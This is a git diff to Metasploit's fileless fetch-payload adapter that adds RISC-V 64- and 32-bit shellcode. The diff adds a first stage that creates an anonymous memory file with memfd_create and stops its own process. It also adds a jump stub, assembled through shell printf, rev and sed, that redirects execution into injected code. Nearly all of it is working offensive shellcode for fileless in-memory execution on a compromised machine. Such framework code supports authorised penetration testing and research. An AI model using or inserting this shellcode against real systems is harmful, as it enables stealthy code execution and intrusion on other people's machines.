diff --git a/lib/msf/core/payload/adapter/fetch/fileless.rb b/lib/msf/core/payload/adapter/fetch/fileless.rb
index 2f8df4761f6b..d7bb4023a4ab 100644
--- a/lib/msf/core/payload/adapter/fetch/fileless.rb
+++ b/lib/msf/core/payload/adapter/fetch/fileless.rb
@@ -138,6 +138,48 @@ def _generate_first_stage_shellcode(arch)
           0x0c010101, #0x1020:	syscall	0x40404	0x0c010101
 ]
       payload = in_memory_loader_asm.pack('N*')
+    when 'riscv64le'
+      # fd = memfd_create("")
+      # ftruncate(fd, 0)
+      # pid = getpid()
+      # kill(pid, SIGSTOP)
+      in_memory_loader_asm = [
+        0x00b5c5b3, # xor   a1, a1, a1         # a1 = 0 (flags)
+        0xff010113, # addi  sp, sp, -16        # allocate stack space
+        0x00b13023, # sd    a1, 0(sp)          # store "" on stack
+        0x00010513, # addi  a0, sp, 0          # a0 = &""
+        0x11700893, # addi  a7, x0, 279        # __NR_memfd_create
+        0x00000073, # ecall                    # fd in a0
+        0x02e00893, # addi  a7, x0, 46         # __NR_ftruncate (a1=0)
+        0x00000073, # ecall
+        0x0ac00893, # addi  a7, x0, 172        # __NR_getpid
+        0x00000073, # ecall                    # pid in a0
+        0x01300593, # addi  a1, x0, 19         # SIGSTOP
+        0x08100893, # addi  a7, x0, 129        # __NR_kill
+        0x00000073, # ecall                    # kill(pid, SIGSTOP)
+      ]
+      payload = in_memory_loader_asm.pack('V*')
+    when 'riscv32le'
+      # fd = memfd_create("")
+      # ftruncate(fd, 0)
+      # pid = getpid()
+      # kill(pid, SIGSTOP)
+      in_memory_loader_asm = [
+        0x00b5c5b3, # xor   a1, a1, a1         # a1 = 0 (flags)
+        0xff010113, # addi  sp, sp, -16        # allocate stack space
+        0x00b12023, # sw    a1, 0(sp)          # store "" on stack
+        0x00010513, # addi  a0, sp, 0          # a0 = &""
+        0x11700893, # addi  a7, x0, 279        # __NR_memfd_create
+        0x00000073, # ecall                    # fd in a0
+        0x02e00893, # addi  a7, x0, 46         # __NR_ftruncate (a1=0)
+        0x00000073, # ecall
+        0x0ac00893, # addi  a7, x0, 172        # __NR_getpid
+        0x00000073, # ecall                    # pid in a0
+        0x01300593, # addi  a1, x0, 19         # SIGSTOP
+        0x08100893, # addi  a7, x0, 129        # __NR_kill
+        0x00000073, # ecall                    # kill(pid, SIGSTOP)
+      ]
+      payload = in_memory_loader_asm.pack('V*')
 
     else
       fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
@@ -204,6 +246,22 @@ def _generate_jmp_instruction(arch)
     when 'mips64'
       %^"041100000000000001ce7026dfee001001c0000800000000"$(echo $(printf %016x $vdso_addr))^
     
+    # RISC-V 64-bit LE shellcode
+    # auipc t0, 0
+    # ld    t0, 12(t0)
+    # jr    t0
+    # .dword [target address]
+    when 'riscv64le'
+      %^"9702000083b2c20067800200"$(echo $(printf %016x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
+
+    # RISC-V 32-bit LE shellcode
+    # auipc t0, 0
+    # lw    t0, 12(t0)
+    # jr    t0
+    # .word [target address]
+    when 'riscv32le'
+      %^"9702000083a2c20067800200"$(echo $(printf %08x $vdso_addr) | rev | sed -E 's/(.)(.)/\\2\\1/g')^
+
     else
       fail_with(Msf::Module::Failure::BadConfig, 'Unsupported architecture')
     end